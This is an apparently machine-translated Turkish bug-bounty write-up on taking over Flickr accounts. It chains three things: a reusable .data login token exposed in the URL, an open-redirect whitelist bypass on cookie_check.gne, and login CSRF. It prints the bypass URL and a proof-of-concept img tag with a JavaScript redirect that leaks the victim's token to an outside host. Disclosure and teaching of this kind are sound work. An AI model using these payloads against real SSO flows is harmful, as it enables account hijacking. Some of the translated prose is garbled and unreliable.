SSO sistemini test ederken paylaşmaya değer bir şeyim var. Umarım bu blog yazısını okuduktan sonra yeni bir şeyler öğrenebilirsiniz.
Bu hata, Flickr’ın eski giriş akışıyla ilgilidir; bunun önemi hakkında bilgi edinmek için lütfen harika gönderiye bakın. .veri parametre. Kısacası kim çalarsa .veri değer kurbanın Flickr hesabını ele geçirebilir.
Diğer birçok böcek avcısı gibi benim de birden fazla Yahoo! hesaplarımda, bir noktada *.yahoo.com altında Hesap A oturumum ve *.flickr.com altında Hesap B oturumum var, bu benim amaçladığım kurulum değil. Daha sonra şans eseri URL çubuğundaki tarama geçmişini temel alarak https://www.flickr.com/login adresine göz atıyorum. Ve sonra ekranda ilginç bir şey beliriyor.
Şu şekilde giriş yapıyorsunuz dedi: bununlahesabınızı şuna mı değiştiriyorsunuz? ronchan5?
Bu sayfanın ilgi çekici olmasının nedeni içeriği değil, o sayfanın URL’sinin aslında bilgiyi saklaması nedeniyle ilginç olmasıdır. .veri Kullanıcının geçici olarak Biraz doğrulamadan sonra onaylıyorum .veri yeniden kullanılabilir. Diğer binlerce oauth/sso yazısında olduğu gibi, bu noktada açık bir yönlendirmeye ihtiyacımız var ve yönlendirme tekniğini kullanarak URL’yi çalıyoruz.
Resimde görebileceğiniz gibi, URL’de bir geçiş parametresi var, geçiş parametresinin URL yeniden yönlendirmesi için kullanıldığı ortaya çıktı, açık yönlendirmeyi önlemek için bazı beyaz liste doğrulamaları mevcut, ancak bu yük tarafından atlanabilir
https://www.flickr.com/cookie_check.gne?pass=https://www.flickr.com%[email protected]/yahoo
Artık her şeye sahibiz, oauth uç noktası altında açık yönlendirme, URL’deki .data, .data yeniden kullanılabilir, bu istismarın tüm kullanıcılar için çalışması için geriye ne kaldı?
Mağdurun saldırganla tamamen aynı senaryoya sahip olması gerekir; yani A hesabının *.yahoo.com’da doğrulanmış olması ve B hesabının kimliğinin *.flickr.com’da doğrulanmış olması gerekir.
Bu senaryo normal kullanıcılar için o kadar yaygın olmadığından, bu hatanın güvenlik etkisini büyük ölçüde azaltacaktır. OSCP’den öğrendiğimiz gibi, daha çok çalışacağız ve tüm kullanıcılarda çalışmasını sağlayacak bir geçici çözüm bulacağız.
Giriş akışını gözlemlemeye devam ettim ve sonunda bu hatayı evrensel olarak çalıştırabilecek basit bir gerçeği fark ettim. Flickr, Login CSRF’ye karşı savunmasızdır.
Bu yeni bilgiyle, öncelikle kurbanın yahoo oturumunu korurken kurbanı flickr hesabımıza giriş yapmaya zorlayabiliriz, ardından açık yönlendirmeyi kullanarak kurbanın yükünün çalınması için istismar yükünü kurbana gönderebiliriz.
PoC iş başında
<img src="https://www.flickr.com/signin/yahoo/?.data={attacker_data_here}&.ys="> location.href="https://login.yahoo.com/config/validate?.src=flickrsignin&.pc=8190&.scrumb=&.pd=c%3DJvVF95K62e6PzdPu7MBv2V8-&.intl=hk&.done=https%3a%2f%2fwww.flickr.com%2Fsignin%2Fyahoo%2F%3Fredir%3D%2fcookie_check.gne%3Fpass%3Dhttps%3A%2f%2fwww.flickr.com%2525%2532%2535%2532%2566%2540hackerone.com%252Fyahoo&.crumb=";
Resim etiketi, bir alma isteğinde oturum açma csrf’sinden sorumludur ve ardından kullanıcı, açık yönlendirme parametremle flickr’a yönlendirilir. Kullanıcı yeniden yönlendirildikten sonra .data’sı hackerone.com’a sızdırılacaktır.
Ana Paket Servis
Herhangi bir SSO ile karşılaştığınızda farklı oturumda yeniden oturum açmayı deneyin; URL’de oauth kodu veya kimlik doğrulama belirteci veya beklenmeyen bir şey saklanabilir, eğer öyleyse, açık yönlendirmeyle onu çalmayı deneyin.